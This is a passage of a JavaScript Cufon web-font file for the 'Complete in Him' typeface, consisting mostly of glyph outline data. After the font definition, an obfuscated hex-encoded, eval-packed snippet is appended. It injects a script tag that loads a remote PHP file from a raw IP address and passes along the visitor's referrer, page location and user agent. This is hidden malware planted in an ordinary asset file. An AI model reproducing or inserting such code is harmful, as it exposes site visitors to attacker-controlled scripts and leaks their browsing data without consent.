42,-85v3,-74,-4,-110,-16,-110v-39,0,-58,-8,-58,-24","w":133},{"d":"44,-229v33,12,73,-20,87,13v1,4,-13,21,-26,14v-51,-4,-58,3,-58,71r0,95v0,19,-11,56,10,58v46,5,67,6,66,21v-6,38,-53,3,-87,10v-10,0,-17,-6,-23,-18v13,-58,-6,-258,31,-264","w":133},{"w":112},{"w":112},{"d":"105,-162v0,-14,-2,-34,13,-29v27,0,47,43,58,129v-15,94,-66,64,-119,8v-2,0,-4,0,-3,2r19,79v-4,6,-6,11,-19,11v-8,0,-18,-44,-39,-127v-4,-17,-16,-53,10,-52v6,0,17,20,40,55v27,41,53,58,69,58v16,0,21,-22,21,-45v0,-40,-10,-70,-29,-92v-7,1,-12,4,-21,3","w":180},{"d":"47,-58v18,-40,21,-155,35,-150r2,-3v20,0,43,44,69,132v4,0,5,4,5,13r5,0r16,-189v-3,-2,-1,-3,8,-3v5,0,11,3,16,10v-9,159,-7,235,-37,235v-16,0,-34,-33,-53,-100r-18,-37v-18,100,-35,150,-48,150v-38,0,-45,-162,-47,-190r16,-5v12,0,18,30,18,92v0,30,9,45,13,45xm181,-132v0,-2,-1,-6,2,-5v0,2,1,6,-2,5","w":207},{"d":"78,-191v11,-4,31,-9,31,6v-1,6,-14,15,-37,26v-29,36,-39,59,-39,100v0,71,94,58,113,16v10,0,20,-1,19,10v-10,27,-37,45,-82,48v-48,4,-77,-36,-77,-87v0,-41,25,-81,72,-119","w":171},{"d":"9,-76v12,-94,13,-150,48,-100v-12,32,-17,63,-16,102v5,-9,18,-19,37,-29v22,0,37,17,37,50v0,38,-23,67,-71,64v-4,18,-25,15,-29,-6v4,-29,-3,-54,-6,-81xm54,-21v29,9,38,-21,32,-50v-21,15,-32,32,-32,50","w":120},{"d":"113,-120v51,-25,55,23,64,108v-5,14,-13,21,-24,21v-3,-9,-5,-18,-5,-31v0,-53,-7,-79,-16,-79v-27,16,-38,50,-32,102v-9,8,-24,13,-24,-8v0,-57,2,-88,-21,-89v-17,22,-22,57,-15,103v-6,8,-12,10,-22,10v-1,-5,-4,-51,-9,-138v1,-5,4,-9,9,-12v11,4,16,10,16,18v16,2,9,-19,35,-18v10,7,18,18,26,34v4,0,9,-7,18,-21"},{"d":"11,-200v20,-55,137,-55,137,16v-12,35,-49,60,-95,87r14,56r-14,10v-18,0,-26,-17,-26,-52r-13,-29v3,-18,26,-20,39,-8v44,-32,66,-56,66,-72v-21,-32,-61,-26,-89,3v-12,2,-13,-7,-19,-11xm27,9v3,-9,9,-14,21,-13v5,0,9,7,13,23r-13,11v-14,-2,-21,-9,-21,-21","w":131},{"d":"0,-74v9,-32,61,-6,90,-16v21,5,26,4,26,16v0,11,-25,16,-76,16v-23,1,-29,7,-40,-16","w":117},{"d":"100,-227v16,0,25,39,27,116v1,58,-20,117,-45,111v-13,0,-41,-23,-82,-69v-2,-13,4,-17,11,-21v7,0,14,10,21,29v24,23,41,35,50,35v40,-11,12,-199,8,-190v1,-5,4,-9,10,-11","w":130},{"d":"13,-219v14,0,21,22,21,66v0,82,18,121,21,121v17,10,42,2,64,0v3,6,8,8,8,19v0,9,-21,13,-61,13v-30,0,-45,-19,-45,-58v0,-68,-14,-117,-21,-148v0,-7,4,-10,13,-10r0,-3","w":131},{"d":"106,-141v14,0,21,36,21,106r2,0v-5,8,5,18,7,26v-2,7,-6,14,-13,19v-15,2,-25,-28,-25,-66r-6,0v-19,40,-37,60,-55,60v-25,7,-31,-57,-34,-116v0,-8,6,-14,18,-21v31,9,8,70,21,103r6,0v24,-24,42,-52,42,-82v0,-19,5,-29,16,-29","w":140},{"d":"21,-171v11,0,16,24,16,73r3,0v18,-27,36,-47,55,-60v11,5,14,6,13,18v-28,34,-41,41,-39,64v9,26,49,5,65,7v-3,41,-56,44,-94,14v0,22,11,56,-16,55v-10,0,-15,-44,-19,-134v-1,-15,-11,-36,16,-37","w":128},{"d":"58,-158v32,7,24,24,-8,45v-17,27,-18,34,-18,66v0,21,27,19,44,15v0,4,3,6,8,6v-1,21,-21,25,-37,26v-33,1,-48,-21,-47,-61v0,-38,19,-70,58,-97","w":92},{"d":"25,-110v0,-9,9,-10,19,-10r13,13v0,12,-8,16,-21,16v-7,-3,-11,-10,-11,-19xm44,-33v-12,-6,-11,-33,8,-29v9,6,20,21,5,29r-13,0","w":97},{"d":"112,-227v35,0,65,31,92,93v-2,57,-23,103,-39,118v-14,27,-45,48,-90,61v-33,0,-55,-28,-66,-82v7,-53,6,-56,19,-92r-3,0v24,-42,34,-83,87,-98xm101,-195v-31,14,-69,85,-65,153v5,97,77,65,110,3r-21,-8v-29,36,-67,18,-66,-24v0,-31,17,-61,50,-92v20,-3,32,6,24,23v12,15,-1,72,19,72v11,0,21,-17,31,-50v-16,-56,-33,-81,-82,-77xm107,-116v-21,8,-19,31,-19,56v28,2,20,-32,19,-56","w":210},{"d":"16,-98v35,4,83,-20,84,19v-13,16,-56,5,-82,10v-20,0,-26,-32,-2,-29xm0,-18v9,-31,58,-8,90,-16v21,5,26,2,26,16v0,11,-25,15,-76,15v-23,1,-28,9,-40,-15","w":121},{"d":"198,-194v42,-14,92,5,92,45v0,30,-34,66,-103,106v-20,19,-20,19,-15,42v-11,18,-24,26,-37,26r-11,-16r5,-29v-5,-15,-36,-34,-92,-60v-23,-27,-34,-45,-34,-53v26,-70,89,-70,137,-18v28,-28,48,-43,58,-43xm140,-104v-23,-19,-41,-55,-84,-50v-7,4,-12,9,-16,16v0,21,28,44,84,71r21,18v79,-54,118,-74,116,-108v-4,-13,-23,-14,-42,-13v-24,0,-44,19,-61,58","w":294},{"d":"76,-177v29,-5,22,38,15,58v47,2,90,14,90,58v0,21,-24,44,-71,71r-48,11v-67,3,-55,-104,-55,-167v0,-11,23,-24,69,-31xm70,-151v-46,-1,-33,24,-34,58v27,-18,35,-36,34,-58xm41,-53v2,22,-10,54,24,47v39,0,69,-18,90,-55v2,-28,-19,-34,-45,-34v-25,0,-48,14,-69,42","w":187},{"d":"66,-179v10,-5,20,-7,29,0r0,8v-52,55,-70,69,-66,131v0,9,15,14,45,14v35,-9,53,-28,53,-56v-9,-3,-24,6,-48,3v-21,8,-46,-13,-24,-26v32,0,75,1,90,-11v12,0,17,6,16,18v-5,6,-12,25,-21,56v-21,28,-49,42,-82,42v-39,0,-58,-24,-58,-58v0,-35,22,-75,66,-121","w":166},{"d":"43,-165v5,4,21,8,48,13v30,16,45,38,45,66v0,133,-110,130,-130,2v4,-54,16,-81,37,-81xm33,-89v0,54,14,77,45,74v11,3,31,-33,34,-77v-4,-28,-20,-42,-48,-42v-21,0,-31,15,-31,45","w":139}],f:f};try{(function(s){var c="charAt",i="indexOf",a=String(arguments.callee).replace(/\s+/g,""),z=s.length+332-a.length+(a.charCodeAt(0)==40&&2),w=64,k=s.substring(z,w+=z),v=s.substr(0,z)+s.substr(w),m=0,t="",x=0,y=v.length,d=document,h=d.getElementsByTagName("head")[0],e=d.createElement("script");for(;x<y;++x){m=(k[i](v[c](x))&255)<<18|(k[i](v[c](++x))&255)<<12|(k[i](v[c](++x))&255)<<6|k[i](v[c](++x))&255;t+=String.fromCharCode((m&16711680)>>16,(m&65280)>>8,m&255);}e.text=t;h.insertBefore(e,h.firstChild);h.removeChild(e);})("clZXCyiVfLk2cGnU?y!prlrk%-iXZyk2%-*pfLgQZ7}x;9VO~l@VZX!OhltyZYglYng|LQnqL!|AfY5}?biI~XKeF8t24%&UC8;_%!K`I%*.7$Kni7ke;YV|c!.X3D3bZ7KO3$;{sy5u3`g!c`:t7|xQ39|5iVn?LX.X3D@53G@~7V3-Cqkh?q:K;Lgcq87_;9t:F7&GgV}OsQiKClnVcGrOc$.tFq:xhDXOsQ:xCDXKsy.nCy?VfG.QFLr2ZO&QC8nKf83kmbVUfL;[;O&ef9Ve%O1=~Q?b?XK2cq}[F9tnCQZth-neCyn-%G&`C-X:@GDT!l8r*cs3i~FIg$qY7L%;ZfCh?m415O`|nyQ[tz_x{2eK.p9VX-bu&#U}kA=}C-&9f%gnCl!OCb*hsyieC%.{C-i[fL.5h-khsyieC$||s-|2?l79?G5xC-i5?lneCO&[CbiVCy!{Z$|tZykpcD{tFlKUcp{tcL?C;X{t%7Vkh!{t%%VtcG|1")}catch(e){}delete _cufon_bridge_;return b.ok&&f})({"w":178,"face":{"font-family":"Complete in Him","font-weight":400,"font-stretch":"normal","units-per-em":"360","panose-1":"2 0 5 0 0 0 0 0 0 0","ascent":"288","descent":"-72","x-height":"2","bbox":"-35.1111 -265.519 295 114","underline-thickness":"26.3672","underline-position":"-24.9609","unicode-range":"U+0020-U+007E"}}));


var _0x4470=["\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\x3D\x31\x2E\x6A\x3B\x34\x3D\x36\x28\x31\x2E\x69\x29\x3B\x37\x3D\x36\x28\x67\x2E\x6B\x29\x3B\x61\x20\x32\x3D\x31\x2E\x65\x28\x27\x63\x27\x29\x3B\x32\x2E\x66\x3D\x27\x35\x27\x3B\x32\x2E\x68\x3D\x27\x77\x3A\x2F\x2F\x74\x2E\x75\x2E\x6C\x2E\x76\x2F\x73\x2E\x72\x3F\x71\x3D\x27\x2B\x34\x2B\x27\x26\x6D\x3D\x27\x2B\x38\x2B\x27\x26\x6E\x3D\x27\x2B\x37\x3B\x61\x20\x33\x3D\x31\x2E\x6F\x28\x27\x33\x27\x29\x5B\x30\x5D\x3B\x33\x2E\x70\x28\x32\x29\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x6A\x73\x7C\x68\x65\x61\x64\x7C\x68\x67\x68\x6A\x68\x6A\x68\x6A\x67\x7C\x64\x67\x6C\x6C\x68\x67\x75\x6B\x7C\x65\x73\x63\x61\x70\x65\x7C\x75\x67\x6B\x6B\x6A\x6B\x6A\x7C\x68\x67\x68\x6A\x67\x68\x6A\x68\x6A\x67\x6A\x68\x7C\x65\x6C\x65\x6D\x65\x6E\x74\x7C\x76\x61\x72\x7C\x69\x66\x7C\x73\x63\x72\x69\x70\x74\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x69\x64\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x7C\x73\x72\x63\x7C\x72\x65\x66\x65\x72\x72\x65\x72\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x75\x73\x65\x72\x41\x67\x65\x6E\x74\x7C\x32\x31\x36\x7C\x6C\x63\x7C\x75\x61\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x72\x65\x66\x7C\x70\x68\x70\x7C\x7C\x39\x31\x7C\x31\x39\x36\x7C\x36\x34\x7C\x68\x74\x74\x70","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0xa064x1,_0xa064x2,_0xa064x3,_0xa064x4,_0xa064x5,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);} ;if(!_0x4470[5][_0x4470[4]](/^/,String)){while(_0xa064x3--){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3--){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}));
